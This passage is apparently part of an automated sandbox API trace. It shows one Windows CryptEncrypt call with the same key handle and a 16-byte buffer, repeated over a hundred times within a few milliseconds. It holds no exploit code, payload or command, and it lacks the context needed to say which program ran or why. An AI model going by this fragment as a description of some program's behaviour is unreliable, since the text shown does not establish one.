pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.620] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.621] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.622] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.623] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.624] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0101.625] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 